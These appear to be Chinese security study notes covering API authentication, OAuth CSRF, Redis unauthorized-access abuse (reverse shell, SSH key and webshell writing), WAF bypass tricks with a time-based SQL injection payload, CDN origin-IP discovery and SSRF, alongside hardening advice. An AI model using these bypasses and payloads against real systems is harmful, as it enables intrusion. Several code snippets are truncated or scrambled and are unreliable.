0x01 API接口测试
1. 接口定义
本质:数据的传输与接收
2. 接口类型
2.1 RPC
(Remote Procedure Call远程过程调用)如Java RMI
2.2 RESTful API
REST,全称是 Resource Representational State Transfer,通俗来讲就是,资源在网络中以某种表现形式进行状态转移。分解开来:
- Resource:资源,即数据(前面说过网络的核心)。比如 newsfeed,friends等;
- Representational:某种表现形式,比如用JSON,XML,JPEG等;
- State Transfer:状态变化。通过HTTP动词实现
2.3 Web Service
3. 接口鉴权
3.1 HTTP Basic
通过Authorization: Basic Y2h5aW5ncDoxMjM0NTY=
base64加密 username:password 通过http头部Authorization字段传输,其中响应包中的realm表示认证范围
安全缺陷:
Basic认证的安全缺陷比较明显,它通过明文传输用户的密码,这会导致严重的安全问题。
- 在传输层未加密的情况下,用户明文密码可被中间人截获。(优化方式:通过TLS/SSL加密传输防止MITM攻击)
- 明文密码一旦泄露,如果用户其他站点也用了同样的明文密码(大概率),那么用户其他站点的安全防线也告破。
3.2 Digest Access
1 | GET /dir/index.html HTTP/1.0 |
复杂的算法
安全缺陷
别看这个算法这么复杂,最后你可以发现,整个过程其实关键是用户的password,这个password如果不够得杂,其实是可以被暴力破解的,而且,整个过程是非常容易受到中间人攻击
3.3 App Secret Key + HMAC
1 | Authorization: AWS4-HMAC-SHA256 |
- AppID和AppSecretKey,是由服务器的系统开出的,所以,是可以被管理的
- 没有统一的标准,各家实现的都不一致,比如微信的签名算法就是放在body中(xml格式)
3.4 JWT(Json Web Tokens)
多了一个认证服务器,通过MAC和RSA公钥加密
3.5 OAuth1.0
解决第三方授权问题而出现
3.6 OAuth2.0
从Digest Access, 到AppID+HMAC,再到JWT,再到OAuth 1.0,这些个API认证都是要向Client发一个密钥(或是用密码)然后用HASH或是RSA来签HTTP的请求,这其中有个主要的原因是,以前的HTTP是明文传输,所以,在传输过程中很容易被篡改,于是才搞出来一套的安全签名机制,所以,这些个认证的玩法是可以在HTTP明文协议下玩的。
OAuth 2.0依赖于TLS/SSL的链路加密技术(HTTPS),完全放弃了签名的方式,认证服务器再也不返回什么 token secret 的密钥了,所以,OAuth 2.0是完全不同于1.0 的,也是不兼容的。
OAuth2.0 CSRF
OAuth CSRF是指向第三方认证平台发起登录请求的时候,没有设置state参数或redirect_uri回调地址没有做好限制, 而导致的请求伪造漏洞(CSRF)。
state
参数在OAuth2认证过程中不是必选参数,因此第三方应用开发者在集成OAuth2认证的时候很容易会忽略它的存在,导致应用易受CSRF攻击。此外,这样的攻击非常巧妙,可以悄无声息的攻陷受害者的账号,难以被察觉到。有漏洞的请求示例:
OAuth CSRF配合XSS、任意URL跳转漏洞或者图片文件地址未限制,可以造成的攻击效果为 “点我的链接,登录你的xx账号”,历史上出现过的漏洞:
- 点我的链接我就可能会进入你的网易云音乐 https://wy.64g.win/wooyun-2016-0170272.html
- 点我的链接我就可能会进入你的知乎账号 https://wy.64g.win/wooyun-2015-0162476.html
- 域名限制或者referer等限制的绕过 可以通过在域内存在重定向、xss或者图片地址未限制
- 对于没有验证码的登陆 且没有验证token的 可以通过csrf让别人登陆自己的账户
- 对于这种url中的code 可以通过referer泄漏
3.7 参考
- https://coolshell.cn/articles/19395.html
- HTTP Basic认证 https://juejin.im/entry/5ac175baf265da239e4e3999
4. 安全测试
测试工具:Postman、Burpsuite
4.1 输入控制
各种注入(SQL、代码、命令、CVS、XXE)、XSS
4.2 逻辑越权
用户Id、Authorization
4.3 接口滥用
验证码爆破、登陆爆破
4.4 信息泄漏
畸形请求导致的配置信息泄漏
5. 安全加固
5.1 访问
- 限制流量来防止 DDoS 攻击和暴力攻击.
- 在服务端使用 HTTPS 协议来防止 MITM 攻击.
- 使用
HSTS
协议防止 SSLStrip 攻击.
5.2 输入
- 使用与操作相符的 HTTP 操作函数,
GET (读取)
,POST (创建)
,PUT (替换/更新)
以及DELETE (删除记录)
, 如果请求的方法不适用于请求的资源则返回405 Method Not Allowed
. - 在请求头中的
content-type
字段使用内容验证来只允许支持的格式 (如application/xml
,application/json
等等) 并在不满足条件的时候返回406 Not Acceptable
. - 验证
content-type
的发布数据和你收到的一样 (如application/x-www-form-urlencoded
,multipart/form-data
,application/json
等等). - 验证用户输入来避免一些普通的易受攻击缺陷 (如
XSS
,SQL-注入
,远程代码执行
等等). - 不要在 URL 中使用任何敏感的数据 (
credentials
,Passwords
,security tokens
, orAPI keys
), 而是使用标准的认证请求头. - 使用一个 API Gateway 服务来启用缓存、访问速率限制 (如
Quota
,Spike Arrest
,Concurrent Rate Limit
) 以及动态地部署 APIs resources.
5.3 处理
- 检查是否所有的终端都在身份认证之后, 以避免被破坏了的认证体系.
- 避免使用特有的资源 id. 使用
/me/orders
替代/user/654321/orders
- 使用
UUID
代替自增长的 id. - 如果需要解析 XML 文件, 确保实体解析(entity parsing)是关闭的以避免
XXE
攻击. - 如果需要解析 XML 文件, 确保实体扩展(entity expansion)是关闭的以避免通过指数实体扩展攻击实现的
Billion Laughs/XML bomb
. - 在文件上传中使用 CDN.
- 如果需要处理大量的数据, 使用 Workers 和 Queues 来快速响应, 从而避免 HTTP 阻塞.
- 不要忘了把 DEBUG 模式关掉.
5.4 输出
- 发送
X-Content-Type-Options: nosniff
头. - 发送
X-Frame-Options: deny
头. - 发送
Content-Security-Policy: default-src 'none'
头. - 删除指纹头 -
X-Powered-By
,Server
,X-AspNet-Version
等等. - 在响应中强制使用
content-type
, 如果你的类型是application/json
那么你的content-type
就是application/json
. - 不要返回敏感的数据, 如
credentials
,Passwords
,security tokens
. - 在操作结束时返回恰当的状态码. (如
200 OK
,400 Bad Request
,401 Unauthorized
,405 Method Not Allowed
等等).
0x02 Python
1 Python的执行顺序
- 从上到下执行
- python是以缩进对齐组织代码的执行,所有没有缩进的代码都会在载入时执行,这些代码,可以认为是Python的main函数
- “def”语句本身就是一个执行的语句
__name__
: 内置属性- 以单个文件执行时,name便是
__main__
- 以模块导入文件时,name便是文件名
- 以单个文件执行时,name便是
2 生成器、迭代器 👇这里
基础:
- 生成器比迭代器更优雅
- for循环的本质:调用next方法
迭代器
- 所有实现了
__iter__
()和next()方法的都叫迭代器,其中
iter`()方法返回迭代器对象本身;next()方法返回容器的下一个元素,在结尾时引发StopIteration异常。 - 迭代器与列表的不同:列表是一次性都加载到内存中,比如如果有一千万个数需要占用400M多内存,而迭代器只需要占用几十个字节,因为它是等调用
__next__
方法时,才会加载进内存,for循环迭代器就是不停调用__next__
方法 - 常用迭代器:❓Iterator对象
- 所有实现了
生成器
- yield语句返回值,yeild存在的函数为生成器函数
- 生成器本质上还是一个迭代器,唯一的区别在于实现方式不同
- 生成器函数调用时不会立刻返回,而是调用next方法时才会返回
1 | 2 for x in range(10)) g = (x* |
总结:生成海量数据时,显然生成器更合适。
3 进程、线程、协程
对操作系统来说,线程是最小的执行单元,进程是最小的资源管理单元。
进程是一个执行中的程序,每一个进程CPU都会分配一块地址空间,空间包括:代码(文本)、数据、堆栈。早期只有进程,一个程序想同时执行多个任务,就只能通过多进程,然而进程的创建、撤销、切换消耗太大,于是出现了轻量级进程— 线程
线程:同一进程中的多个线程共享同一块内存空间,线程之间切换需要保存的信息相比进程少很多,只需要保存运行时必不可少的一些信息(程序计数器、寄存器、栈)。线程出现之后,程序想同时执行多个任务,通过多线程切换,调度与切换都比进程的快很多
进程和线程的痛点 — 耗费性能(进程和线程都是需要保存系统信息的,与操作系统内核有关系。)
涉及到同步锁。
涉及到线程阻塞状态和可运行状态之间的切换。
涉及到线程上下文的切换。
- 协程:与操作系统内核无关,只与程序有关。
0x03 未授权漏洞
1. redis未授权
1.1 crontab写计划任务反弹shell
1 | redis-cli -h 192.168.2.6 |
1.2 写ssh公钥远程连接
1 | $ redis-cli -h 192.168.1.11 |
1.3 写入webshell
1 | config set dir /var/www/html/ |
1.4 漏洞加固
1、默认只对本地开放
bind 127.0.0.1
2、添加登陆密码
requirepass www.secpulse.com
3、在需要对外开放的时候修改默认端口
port 2333
4、最后还可以配合iptables限制开放
0x04 业务逻辑漏洞
https://github.com/PyxYuYu/MyBlog/issues/102
0x05 WAF绕过
1. 架构层绕过WAF
1.1 寻找源站
例如百度云加速、360安全卫士等,通过更改DNS解析,把流量引入WAF集群,流量经过检测后转发请求到源站。如图,liusscs.com接入接入WAF后,liusscs.comd的DNS解析结果指向WAF集群,用户的请求将发送给WAF集群,WAF集群经过检测认为非攻击请求再转发给源站。
针对云WAF架构,通过ip地址:没有dns解析就没有waf集群,直接到达源站:CTF中一种套路
—> 寻找真实ip
- 信息泄漏:网页源代码(注销)、github源代码泄漏、
- 穷举ip地址(8-9h)
1.2 利用同网段
一些在云服务商的站点,同时使用云服务商提供的WAF服务。当流量不是通过DNS解析引流到WAF,流量必须经过WAF的检测,这是不能通过发行源站进行绕过。可以考虑在云服务商买一台VPS,通过VPS攻击目标站点,因为流量是局域网,可能不经过WAF检测,实现绕过。能不能成功,关键在于云服务商的网络配置。
1.3 利用边界漏洞
如果未能发现源站IP,可以尝试寻找子站的SSRF漏洞。如果子站访问目标站不经过WAF集群,可以利用SSRF漏洞来绕过WAF。
2.资源限制角度绕过WAF
这是众所周知、而又难以解决的问题。如果HTTP请求POST BODY太大,检测所有的内容,WAF集群消耗太大的CPU、内存资源。因此许多WAF只检测前面的几K字节、1M、或2M。对于攻击者而然,只需要在POST BODY前面添加许多无用数据,把攻击payload放在最后即可绕过WAF检测。
3. 协议层绕过WAF
即使流量都确保经过WAF,协议层面绕过WAF,利用WAF解析协议的问题,使得payload被认为不是请求的HTTP请求的内容。从个人经验总结出WAF解析协议的常出现问题的三个方向。
- 协议覆盖不全。
- 协议解析不正确。
- 协议解析与后WEB容器的协议解析不一致。
以下以实例说明利用协议绕过WAF的方法。通过CASE解析什么是协议覆盖不全、协议解析不正确、协议解析不一致。
3.1 协议未覆盖绕过WAF
POST 请求常用有2种参数提交方式:
- Content-Type: application/x-www-form-urlencoded;
- Content-Type: multipart/form-data;
Waf未能覆盖Content-Type: multipart/form-data从而导致被绕过。或者WAF会认为它是文件上传请求,从而只检测文件上传,导致被绕过。如图,加速乐的WAF就存在被绕过的情况,是典型的协议未覆盖。
3.2 利用协议解析不一致绕过
3.3 协议解析不正确
文件名被覆盖一:在multipart协议中,一个文件上传块存在多个Content-Disposition,将以最后一个Content-Disposition的filename值作为上传的文件名,许多WAF解析到第一个Content-Disposition就认为协议解析完毕,获得上传的文件名,从而导致被绕过。
文件名被覆盖二:在一个Content-Disposition 中,存在多个filename ,协议解析应该使用最后的filename值作为文件名。如果WAF解析到filename=”p3.txt”认为解析到文件名,结束解析,将导致被绕过。因为后端容器解析到的文件名是t3.jsp。
Content-Disposition: form-data;name=”myfile”; filename=”p3.txt”;filename=”t3.jsp”
未解析所有文件:multipart协议中,一个POST请求可以同时上传多个文件。如图,许多WAF只检查第一个上传文件,没有检查上传的所有文件,而实际后端容器会解析所有上传的文件名,攻击者只需把paylaod放在后面的文件PART,即可绕过。
协议解析不一致-文件名解析兼容性:multipart协议中,文件名的形式为filename=”abc.php”。但是Tomcat、PHP等容器解析协议时会做一些兼容,能正确解析 filename=”abc.php、filename=abc.php”、 ”filename=’abc.php’。而WAF只按照协议标准去解析,无法解析文件名,但是后端容器能正确获得文件名,从而导致被绕过。场景的绕过形式:
- Content-Disposition: form-data; name=”file”; filename=abc.php
- Content-Disposition: form-data; name=”file”; filename=”abc.php
- Content-Disposition: form-data; name=”file”; filename=’abc.php’
使用注释扰乱分块数据包
WAF无法识别注释符,分块传输可以在长度标识处加上分号“;”作为注释,几乎所有可以识别Transfer-Encoding数据包的WAF,都没有处理分块数据包中长度标识处的注释,导致在分块数据包中加入注释的话,WAF就识别不出这个数据包了。
4. 规则缺陷绕过WAF
请求中包含2个参数名相同的参数typeid,第一个是正常参数的值正常,第二个参数才是payload。如果WAF解析参数使用第一个值,没检查第二个值,将导致绕过。这是很久很久的一个CASE,现在几乎没有WAF存在这个问题。
/forum.php? typeid=644&typeid=if(now()%3dsysdate()%2csleep(19.844)%2c0)/*’XOR(if(now()%3dsysdate()%2csleep(19.844)%2c0))OR’%22XOR(if(now()%3dsysdate()%2csleep(19.844)%2c0))OR%22*/
0x06 CDN
1. 发现CDN
nslookup 多个ip地址
1
2
3
4
5
6
7
8
9➜ ~ nslookup baidu.com
Server: 192.168.1.1
Address: 192.168.1.1#53
Non-authoritative answer:
Name: baidu.com
Address: 220.181.38.148
Name: baidu.com
Address: 39.156.69.79多地ping
1
2
3
4
5
6
7
8
9
10[root@iZt4nip7c3ds4qlsa0x6zjZ ~]# ping www.baidu.com
PING www.wshifen.com (45.113.192.102) 56(84) bytes of data.
64 bytes from 45.113.192.102 (45.113.192.102): icmp_seq=1 ttl=58 time=0.688 ms
64 bytes from 45.113.192.102 (45.113.192.102): icmp_seq=2 ttl=58 time=0.698 ms
➜ ~ ping www.baidu.com
PING www.a.shifen.com (61.135.169.121): 56 data bytes
64 bytes from 61.135.169.121: icmp_seq=0 ttl=56 time=5.117 ms
64 bytes from 61.135.169.121: icmp_seq=1 ttl=56 time=10.500 ms
64 bytes from 61.135.169.121: icmp_seq=2 ttl=56 time=3.424 ms
2. 查找真实ip
有效方法:
让你的目标站主动“联系”你,比如你订阅他们的网站,RSS之类的,或者让目标站给你发邮件,比如验证注册邮件之类的,但是如果目标站使用的是别的邮箱接口就GG,不过买得起CDN加速了一般也是自己搭建的公司邮件服务器,如果他们的邮件服服务跟WEB服务在一个服务器上,这时候只要查看邮件服务器的IP就好了(查看发的邮件的源代码就可以看到了好像),但是很可能邮件服务器IP跟web服务器只是在一个c段上,这时候就进行C段扫描吧,然后找开放80端口的ip进行一个一个验证(C段扫描就可以用msscan或者提供在线C段扫描的网站),当不是在一个C段时,可能会有点绝望了吧
利用fofa这个网络空间搜索引擎。首先F12查看目标网站的源代码,找到站点的title,然后结合fofa提供的语法(title=”title”)进行查找,很多网站的title最后会有自己站点的域名,这时候可能就能利用fofa找到真实的IP了(fofa的搜索结果可以看到站点的IP)。说一句,我在这次之战中没有成功,找到的IP去过去是另一个站点2333 ps: titile=”” && port=80 查询了一下360 根据fofa应该是36.110.213.49
子域名入手
网站漏洞
- 敏感信息泄漏:phpinfo敏感信息泄露、Apache status和Jboss status敏感信息泄露、网页源代码泄露、svn信息泄露信、github信息泄露等。
- web漏洞:使服务器主动与我们建立联系:ssrf、xss、命令执行
历史域名绑定
查询IP和历史域名绑定记录,有在线的查询网站
网络空间引擎搜索法:fofa、zoomEye
特有的http头部(如server类型、版本、cookie等信息)、
特定keyword(如title、css、js、url等)、
特定的IP段搜索(如fofa支持C段搜索),
有些时候爬取的时候不一定含有上面那些特征,但是我们仍然需要仔细排查。
0x07 网络协议
1. http协议
请求报文
HTTP 协议是以 ASCII 码传输,建立在 TCP/IP 协议之上的应用层规范。规范把 HTTP 请求分为三个部分:状态行、请求头、消息主体。类似于下面这样:
1 | <method> <request-URL> <version> |
post content-type/encrypt 获知消息主体是如何编码的:
- application/x-www-form-urlencoded 原生form表单
multipart/form-data 上传文件
application/json、 text/html、text/plain、application/x-protobuf
响应报文
常见的状态码有如下几种:
200 OK
客户端请求成功301 Moved Permanently
请求永久重定向302 Moved Temporarily
请求临时重定向304 Not Modified
文件未修改,可以直接使用缓存的文件。400 Bad Request
由于客户端请求有语法错误,不能被服务器所理解。401 Unauthorized
请求未经授权。这个状态代码必须和WWW-Authenticate报头域一起使用403 Forbidden
服务器收到请求,但是拒绝提供服务。服务器通常会在响应正文中给出不提供服务的原因404 Not Found
请求的资源不存在,例如,输入了错误的URL500 Internal Server Error
服务器发生不可预期的错误,导致无法完成客户端的请求。503 Service Unavailable
服务器当前不能够处理客户端的请求,在一段时间之后,服务器可能会恢复正常。
2. https协议
两个过程
- 非对称加密传输保证对称密钥的安全传输
- 对称加密保证数据内容的安全传输
关键在于如何保证对称密钥的安全传输的?
CA证书保证服务器端公钥的安全传输 (CA证书由权威机构颁发,可以信任)
0x08 SSRF
本质:服务器提供了从其他服务器获取数据的功能但没有对目标地址做过滤
云环境:支持远程代码部署、远程图片请求、数据同步、博客迁移、ffpmg
场景:(调取第三方服务)翻译、图片/文章收藏、图片加载/下载、编码处理、文件处理如ffpmg,ImageMagick,docx,pdf,xml、网站采集(针对输入的网站进行信息收集)
协议:http、file、dict、gopher、ftp
在自己vps上监听端口 查看来源的user-agent:与编程语言结合
大部分选用gopher,比较容易进入黑名单 所以可以先用dict去简单测试
各种协议利用姿势:工具–curl
1 | # 本地利用 |
绕过技巧:IP地址进制绕过、url特殊字符绕过如@、<http://xxx.192.168.0.1.xip.io/> == 192.168.0.1
、
漏洞修复:
禁止跳转
过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
限制请求的端口为http常用的端口,比如 80、443、8080、8090
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。